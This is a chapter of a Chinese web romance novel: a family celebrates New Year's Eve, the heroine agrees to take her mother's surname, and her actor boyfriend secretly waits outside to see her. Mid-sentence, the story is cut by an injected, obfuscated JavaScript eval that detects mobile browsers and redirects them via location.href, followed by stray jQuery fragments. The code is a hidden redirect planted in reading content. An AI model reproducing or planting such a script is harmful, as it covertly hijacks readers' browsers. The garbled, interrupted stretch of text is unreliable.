49. 烟花

作品:《我的猫不见了

    几天时间一晃而过,热搜榜上的内容也渐渐从明星话题变成了年前氛围。


    董耳耳忙得昏天黑地,从而可能忽略了工作室的微博私信以及工作室邮箱内容,她挠挠头,才发完一组夏节纪的拍摄间隙生活照,都是她找角度偷拍的,得亏他天生模特身材,随便一坐就跟拍画报似的。


    处理完这项,又跟工作室的其他员工发送了过年福利,董耳耳长叹一口气,“什么时候给我放假老板。”


    夏节纪在手机上滑动,戴着帽子和口罩,穿着低调,正坐在机场vip室的沙发上,说:“这相机什么型号。”


    “又怎么了?”董耳耳凑过去看,原来是刚才走机场被站姐们出图了,也是奇怪,每次哥都捂得严严实实,航班时间也都是偏得不能更偏,粉丝总能找到他。


    夏节纪调到一张照片,图上是堪比写真的滤镜和修图,虽然他捂得只剩一双眼睛,却捕捉到了他看镜头的一瞬。


    “这我怎么……”董耳耳觑了眼他脸色,临时改口,“好滴。”


    总说元宵团圆,但其实真正家人团聚那天都在除夕,天南海北,左右行李,执念就是在这天回家。


    这天下午五点,董耳耳在用小号跟站姐打听出相机型号后,如愿以偿得到了她的年终奖,大约五十来万,她感恩戴德,并嬉皮笑脸地又要了一份老板娘的。


    一辆新车,老板出钱,老板娘不知情,老板还挺高兴。


    老板娘……秦纺现在正在把置办的年货往茶几上的盒中放,周裕苍以前是公众人物不方便露脸,周裕真是懒鬼。


    周家的习俗是由家人亲手置办除夕夜的年货,所以这项任务最终落在了秦纺和周朔头上。


    周裕真现在倒是起床了,她前段时间工作累到心坎上了,往沙发上一歪就剥干果往嘴里丢,被周老爷子赏了两个拍脑门。


    周朔最崇拜的就是这个与他同年不同月的姐姐,连忙去拦。


    “爷爷爷爷耶耶耶……”


    “没到八点就看上小品了。”


    “葫芦娃。”


    秦纺看得直笑,作为家里唯一一个不跟他顶嘴,且安静听话的孩子,周老爷子就说了,“都跟你们姐姐学着点。”


    周裕真和周朔同步笑起来。


    周老爷子:“……”


    “嬉皮笑脸。”他说。


    周裕真说:“爷爷你让我们学的。”


    周朔捧哏,“是啊。”


    周裕真面无表情,“又说嬉皮笑脸。”


    周朔摊平双手,“对啊。”


    周裕真说最后一句,“补偿精神损失费。”


    周朔点头,“没错。”


    周老爷子:“……”


    秦纺:“……”


    客厅的电视一直开着,没人看,周老爷子催促他们把眼睛往电视上放,自顾自跟秦纺说话,“小纺,过了今天,就是新的开始了。”


    秦纺点头,“嗯。”


    “对这一年有新的计划吗。”


    “嗯。”秦纺接着点头。


    他也不问是什么,慢悠悠喝了口茶,说出了这通对话的最终指向,“过了初八去把名字改了吧。”


    秦纺一时没听清,“什么?”


    周裕真自顾自吃她的干果,手指在遥控器上按来按去,电视音效滴滴直响。


    周朔倒是往他们的方向看了。


    周老爷子是个很固执的小老头,他坚持认祖归宗,连小女儿的骨灰都要挖了埋到周家墓园里。


    这是秦纺刚认回来那几天发生的事了,平复完失而复得的情绪后,就是对秦家和往事的处理。


    秦纺长胖也是在这件事后,周老爷子更为心疼她,对她更是带着一股小心翼翼,秦纺不希望他这样,便言听计从,每日都尽量与他一块用餐,夹多少都尽往肚中放。


    “你们这一辈都随裕,纺可以不变。”他说。


    周裕真插了句嘴,“周裕纺,好听。”


    周朔也说:“好听。”


    周老爷子难得没说他总跟姐姐学,只是默默又喝了口茶。


    盘中散了一盘的开心果壳,秦纺低着头只顾着剥了,铁片膈着手心都未有察觉。


    待爷爷喝了第二口茶,她终于点头,“好。”


    这个名字伴随她这么多年,一时改去也难改口,对她来说名字只是称谓,但如果能随她妈妈的姓,秦纺还是高兴更多。


    家里人都喊她小名,想必很容易。


    只有夏节纪喜欢喊她全名,任何时刻,即使视频通话中受生理反应控制时也喊全名。


    一句一句,犹如刻上烙印。


    “要被抓起来的,是你哦。”耳边忽地传来一句他的声音,秦纺却没误以为他回来了,因为这是他电影里的台词,那部电影她看过很多遍,烂熟于心。


    果不其然,周老爷子下一句就是,“节纪今年来吗。”


    秦纺缓慢抬头,发现他看的是自己,脸红了红,说:“不知道,他没跟我说。”


    周老爷子“哼”了一声,伸手指挥,“调走。”


    家里今天要看春晚,电视早就调到了直播,cctv6中正在免费播放这部电影,周裕真偏就定下来了。


    晚八点,春晚准时开始,今年是蛇年,周裕苍给每人都发了一块黄金材质的小蛇雕刻品,图个吉利。


    看完第一个小品,院外放起烟花,周朔年纪小坐不住,早早就在外面放烟花,都是些没什么声响的玩意,现在才开始往天上放。


    秦纺带上手机拍了几张照片,就靠在廊下的柱子上望天,还没回来吗,可是航班只有两个小时,算上路上的时间,她给他发了一张烟花图。


    【纺:照片jpg.】


    【纺:还没到吗。】


    对面仍然没回复,她接过周裕真递过来的仙女棒,唇勉强弯了弯,心里空落落的,兴致索然地转着圈。


    直到手机传出阵震动。


    秦纺把两支仙女棒都放在左手上,右手在眼睛看到屏幕上的绿标开始就赶紧动起来解锁。


    短暂的两秒缓冲后,屏幕上出现的是正在绽放烟花的天空,还有他的声音,比电影里轻快明朗,“好看。”


    屏幕上与空中的烟花角度不同,声音却如出一辙,秦纺下意识左右环顾,“你在哪呢。”


    “来看一眼你。”夏节纪说。


    周裕苍在她旁边站了半天,忍不住说:“赶紧滚进来。”


    夏节纪仍然不露脸,始终把镜头对准天空,“哥哥过年好啊。”


    “……”周裕苍说:“你装什么可怜呢,你在这吃的盐比小纺吃的饭还多。”


    “……”夏节纪说:“我重口,不行?”


    周裕苍听不下去,快走几步准备直接去逮人。


    秦纺笑起来,冲着屏幕给他挥舞了几下仙女棒,可惜只剩下最后一点,绕了没两圈就灭了。


    “这么开心。”他也笑。


    “嗯。”秦纺点头,又说了一遍,“开心。”


    跟妈妈姓开心,和家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073549|155507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人一起过年开心,见到你最开心。


    那头没过多久就被挂断,秦纺在“嘟”声前隐约听到几句周裕苍骂人的声音。


    最后不知道说了什么,周裕苍是一个人回来的,看到他妹妹期待的眼神落空,他差点一个白眼翻出来,骂道:“他说不过来了,过几天再来,瞎讲究。”


    秦纺疑惑,“嗯?”


    周裕苍叹气,又想起长辈们的叮嘱,除夕叹气就要叹一年气,于是紧急做了个吸气的动作,试图把二五年的舒心吸回来,说:“他是想让我们一家人在一块过第一个年。”


    秦纺问:“那他呢。”


    “他认为自己算不上我们家人。”周裕苍拍了拍她肩,“节纪对这些事上最执着,他家里……总归他没什么亲人,等你们真成家了再慢慢说吧。”


    秦纺把手上的两根未点燃的仙女棒放下,点了下头,“嗯。”


    在外面待了一会,周裕真跺了跺了冻僵的脚,率先进屋,周朔跟随她,秦纺在后面,最后是周裕苍收尾。


    周老爷子看春晚看得津津有味,看他们回来一人倒了一杯热茶,驱驱寒气。


    几人一同在客厅守到难忘今宵响起,才各自打着哈欠回屋,老爷子早在十点就被他们催去休息了。


    秦纺倒是不困,她始终低着头在看手机。


    【xjj:回去睡了?】


    【纺:嗯,过十二点了。】


    【xjj:新年快乐。】


    秦纺抿了下唇,眼神低落。


    【纺:我想听你亲口说。】


    他马上发过来一条语音。


    xjj:“新年快乐。”


    周裕苍透露出的那点信息总是她让思绪万千,秦纺想问他家里的情况又不知道怎么开口,想来想去只能也给他回了句语音。


    纺:“新年快乐。”


    xjj:“不开心了。”


    她难得任性一次。


    【纺:嗯。】


    夏节纪给她发过来一个视频。


    秦纺马上接起,她坐在房间的小沙发上。


    屏幕中出现一个黑漆漆的影子,秦纺凑近看也看不清,“你在哪呢,我看不见你。”


    听筒中有风吹过的声音,夏节纪笑了笑,“你偷偷出来,我哄哄你。”


    秦纺一愣,“你还在外面?”


    手机上模糊的影子动了动,他“嗯”了声。


    接下来就只有风的声音了,秦纺披上个大羽绒服,踩着拖鞋就走了。


    “慢点。”他说。


    秦纺这边只有喘气声。


    天边不断有烟花亮起,每一蔟花都带起一瞬亮光。


    在炸起最大的那一朵时,秦纺看到他了。


    他站在孤寂与寒冷中,只穿了件黑色的羽绒服,还是剧组那套,头上戴着鸭舌帽,口罩已经摘掉了。


    秦纺说不出现在是哪种情绪更多,她大脑空白,唯一能牵动的就是跑过去抱住他,在他怀里喘匀气后,直白地说:“想你。”


    夏节纪冰冷的手抚过她脸颊一瞬,又缩回去,放到她背上,“冷不冷。”


    “冷。”她说。


    “那怎么办。”夏节纪抚着她背,歪了歪头,“你快帮我想想,怎么哄我女朋友。”


    秦纺眼角在他衣服上擦过,她手背虚晃了一下脸,仰着头看向他说:“这里冷,家里不冷,你可以慢慢想办法。”


    夏节纪看着她。


    怕他理解错意思,秦纺小声补充,“回你家。”